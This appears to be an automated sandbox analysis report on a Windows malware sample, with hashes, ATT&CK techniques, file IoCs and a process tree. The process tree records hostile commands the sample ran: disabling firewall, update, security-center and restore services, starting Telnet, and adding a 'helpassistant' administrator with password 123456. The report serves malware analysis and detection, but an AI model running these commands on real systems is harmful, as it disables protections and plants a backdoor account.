9f0f920c0feb2e897a75f137de5640589adc2b09e477013dcc8a8898fd0a6c10

Analysis

max time kernel
149s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 15:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
Size 5.9MB
Sample260701-sj3x3agy6l
SHA256 9f0f920c0feb2e897a75f137de5640589adc2b09e477013dcc8a8898fd0a6c10
MD5 899c1e9eb028a13a6d0fcdf44d2e18bc
SHA1 b24c086a8f319714d9617fdfc7d405f11d065ccf
SHA512 d0559e70018fab072e2d02ee1beee8cf939119137ff08f426e4870494f6a5c3539e1b6fccdad6e150f1cfa4d2790183f570822685a9bc03be788eeebb92a8045
SSDEEP 98304:zZR/RDZR/Rc6dIZR/RDZR/Rc6dINKsW1+M5Nn:zZ9xZ94Z9xZ9O1yn
TLSH
T1C6567C12779416F9E4B78274A8764542AA763D310F30EBCF53847B2A2E32BC1AE75713
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
5972	UpdatAuto.exe
5996	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar~4.exe
4132	AdobeARMHelper.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Option.bat	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Windows\SysWOW64\Option.bat	UpdatAuto.exe
File opened for modification	C:\Windows\SysWOW64\UpdatAuto.exe	UpdatAuto.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\policytool.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\tnameserv.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jar.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javacpl.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\javaw.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaw.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\BlockClear.tmp	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7z.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\rmiregistry.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\wsgen.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javah.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jhat.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\rmid.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\servertool.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javadoc.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaws.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jdeps.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\schemagen.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaw.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\klist.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\serialver.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\extcheck.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\idlj.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javaws.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javac.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\java.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javah.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\keytool.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\kinit.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\setup.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\unpack200.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\dotnet.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\idlj.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jjs.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\setup.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\java.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javafxpackager.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\javap.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\jps.exe	UpdatAuto.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe	UpdatAuto.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5728	sc.exe
1636	sc.exe
1984	sc.exe
4236	sc.exe
1028	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar~4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AdobeARMHelper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AdobeARM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UpdatAuto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4132	AdobeARMHelper.exe
4132	AdobeARMHelper.exe
4132	AdobeARMHelper.exe
4132	AdobeARMHelper.exe
4132	AdobeARMHelper.exe
4132	AdobeARMHelper.exe
4132	AdobeARMHelper.exe
4132	AdobeARMHelper.exe
4132	AdobeARMHelper.exe
4132	AdobeARMHelper.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
5972	UpdatAuto.exe
5996	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar~4.exe
5812	AdobeARM.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 1096 wrote to memory of 4392	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	88
PID 1096 wrote to memory of 5972	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	90
PID 5972 wrote to memory of 5392	5972	UpdatAuto.exe	91
PID 1096 wrote to memory of 5996	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	93
PID 5996 wrote to memory of 2796	5996	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar~4.exe	97
PID 5996 wrote to memory of 4132	5996	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar~4.exe	98
PID 1096 wrote to memory of 936	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	99
PID 1096 wrote to memory of 2808	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	100
PID 1096 wrote to memory of 4276	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	101
PID 1096 wrote to memory of 2992	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	102
PID 1096 wrote to memory of 1604	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	103
PID 1096 wrote to memory of 5992	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	104
PID 1096 wrote to memory of 2352	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	105
PID 1096 wrote to memory of 5728	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	112
PID 1096 wrote to memory of 1028	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	113
PID 1096 wrote to memory of 4236	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	114
PID 1096 wrote to memory of 1984	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	115
PID 1096 wrote to memory of 1636	1096	2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe	116
PID 936 wrote to memory of 5264	936	cmd.exe	123
PID 5992 wrote to memory of 2868	5992	cmd.exe	124
PID 5264 wrote to memory of 1352	5264	net.exe	125
PID 2868 wrote to memory of 368	2868	net.exe	126
PID 2352 wrote to memory of 252	2352	cmd.exe	127
PID 1604 wrote to memory of 4512	1604	cmd.exe	128
PID 2808 wrote to memory of 5452	2808	cmd.exe	129
PID 252 wrote to memory of 3788	252	net.exe	130
PID 4276 wrote to memory of 3484	4276	cmd.exe	131
PID 4512 wrote to memory of 1080	4512	net.exe	132
PID 5452 wrote to memory of 1552	5452	net.exe	133
PID 2992 wrote to memory of 1656	2992	cmd.exe	134
PID 1656 wrote to memory of 3016	1656	net.exe	135
PID 3484 wrote to memory of 4600	3484	net.exe	136
PID 4132 wrote to memory of 5812	4132	AdobeARMHelper.exe	137

C:\Users\Admin\AppData\Local\Temp\2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4392
- C:\Windows\SysWOW64\UpdatAuto.exe
  C:\Windows\system32\UpdatAuto.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5972
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5392
- C:\Users\Admin\AppData\Local\Temp\2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar~4.exe
  2026-07-01_899c1e9eb028a13a6d0fcdf44d2e18bc_amadey_cobalt-strike_darkgate_elex_hijackloader_icedid_luca-stealer_njrat_vidar~4.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5996
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe"
    3⤵
    PID:2796
- - C:\ProgramData\Adobe\ARM\S\11193\AdobeARMHelper.exe
    "C:\ProgramData\Adobe\ARM\S\11193\AdobeARMHelper.exe" /ArmUpdate /MSI FOLDER:"C:\ProgramData\Adobe\ARM\S\11193" /MODE:3 /UpdateSelection:1 /PRODUCT:{291AA914-A987-4CE9-BD63-AC0A92D435E5} /VERSION:19.0 /LANG:ENU
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4132
  - - C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe
      "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe" /ArmUpdate /MSI FOLDER:"C:\ProgramData\Adobe\ARM\S\11193" /MODE:3 /UpdateSelection:1 /PRODUCT:{291AA914-A987-4CE9-BD63-AC0A92D435E5} /VERSION:19.0 /LANG:ENU
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:5812
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop sharedaccess
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\SysWOW64\net.exe
    net stop sharedaccess
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5264
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop sharedaccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:1352
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5452
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:1552
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop wscsvc
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4276
- - C:\Windows\SysWOW64\net.exe
    net stop wscsvc
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3484
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wscsvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:4600
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net stop srservice
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\SysWOW64\net.exe
    net stop srservice
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1656
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop srservice
      4⤵
      System Location Discovery: System Language Discovery
      PID:3016
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net start TlntSvr
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1604
- - C:\Windows\SysWOW64\net.exe
    net start TlntSvr
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4512
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start TlntSvr
      4⤵
      System Location Discovery: System Language Discovery
      PID:1080
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user helpassistant 123456
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5992
- - C:\Windows\SysWOW64\net.exe
    net user helpassistant 123456
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2868
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user helpassistant 123456
      4⤵
      System Location Discovery: System Language Discovery
      PID:368
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net localgroup administrators helpassistant /add
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\SysWOW64\net.exe
    net localgroup administrators helpassistant /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:252
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup administrators helpassistant /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:3788
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:5728
- C:\Windows\SysWOW64\sc.exe
  sc config SharedAccess start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:1028
- C:\Windows\SysWOW64\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:4236
- C:\Windows\SysWOW64\sc.exe
  sc config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:1984
- C:\Windows\SysWOW64\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  - System Location Discovery: System Language Discovery
  PID:1636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Credential Access

Discovery

Network Share Discovery

T1135

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

7z.exe

Path C:\Program Files\7-Zip\7z.exe
Size 5.0MB
SHA256 d984cdaaccad26991e4cbb0f2ce6bb093de0b09ab8554fb3787d3a72da746f33
MD5 401597c9f302101172aebe26cb7cd1f1
SHA1 4fe89cf060ed6f551fbee302b4e0bfa4eeeab4fa
SHA512 185da8fd29884d6e2e8d05d3bfe253dffcc9b9f3198ef6df6535d96048d2b4a3550f46d73ebb7a8f5058587151720424c52c53f8599fbfc896faf1f9d49f9e94
SSDEEP 49152:wabH/iYabH/ZfuyRJRRJVabH/5abH/ZfuyRJRRJeturNp5TabH/4abH/ZfuyRJRt:yZR/RDZR/Rc6dIZR/RDZR/Rc6dITjo
TLSH
T197367C22BB5402F9D462C174A8B24546FA713D250320ABDF63D4BB2A2E33BD27E74757
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7zFM.exe

Path C:\Program Files\7-Zip\7zFM.exe
Size 5.4MB
